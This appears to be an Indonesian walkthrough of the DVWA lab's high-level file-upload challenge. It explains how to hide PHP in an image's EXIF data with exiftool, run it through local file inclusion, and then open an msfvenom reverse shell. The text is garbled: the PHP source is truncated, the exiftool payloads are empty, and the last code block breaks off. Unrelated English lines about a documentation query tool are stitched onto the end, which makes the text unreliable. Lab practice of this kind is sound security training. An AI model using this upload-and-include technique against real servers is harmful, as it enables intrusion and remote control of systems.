# High
Di bawah ini adalah *source-code* dari *file upload* level high di DVWA.
```php
vulnerabilities/upload/source/high.php
Your image was not uploaded.';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
```
## Mencari Informasi
Kali ini terdapat tambahan fungsi [`getimagesize()`](https://www.geeksforgeeks.org/php-getimagesize-function/) pada validasi yang digunakan untuk memastikan bahwa file yang di-upload user memang lah gambar.
Menurut sepengetahuan saya saat ini, kali ini kita tidak bisa mem-*bypass* file *non-image* lagi.
Setelah berhari-hari mencari solusi, akhirnya saya menemukan jawabannya, yaitu dengan menyisipkan *script* PHP ke dalam EXIF data dari file gambar. Lalu gambar tersebut di-upload ke server target, dan selanjutnya *script* tersebut dijalankan melalui celah *local file inclusion*.
## Melakukan Serangan
**Pertama-tama**, siapkan gambar apa pun lalu sisipkan *script* menggunakan [EXIFTOOL](https://exiftool.org/) seperti berikut:
```
exiftool -DocumentName="" kucing.jpg
```
Hasilnya, *script* tersebut telah tersimpan di *header* `Document Name` pada file gambar:
Jika kita mencoba menjalan *script* tersebut melalui PHP CLI, maka akan tampil seperti berikut:
Oke mantap! Selanjutnya, upload file tersebut lalu akses file tersebut melalui celah *local file inclusion*, dan hasilnya akan seperti berikut:
Terlihat fungsi [`phpinfo()`](https://www.php.net/manual/en/function.phpinfo.php) berhasil dijalankan. Dan selanjutnya kita akan mencoba melakukan *reverse shell* seperti pada level sebelumnya.
### Melakukan Backconnect
Pertama-tama, buat shell menggunakan msfvenom seperti pada level sebelumnya.
Selanjutnya kita sisipkan shell tersebut ke dalam EXIF data gambar, seperti berikut:
```bash
exiftool -DocumentName='
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.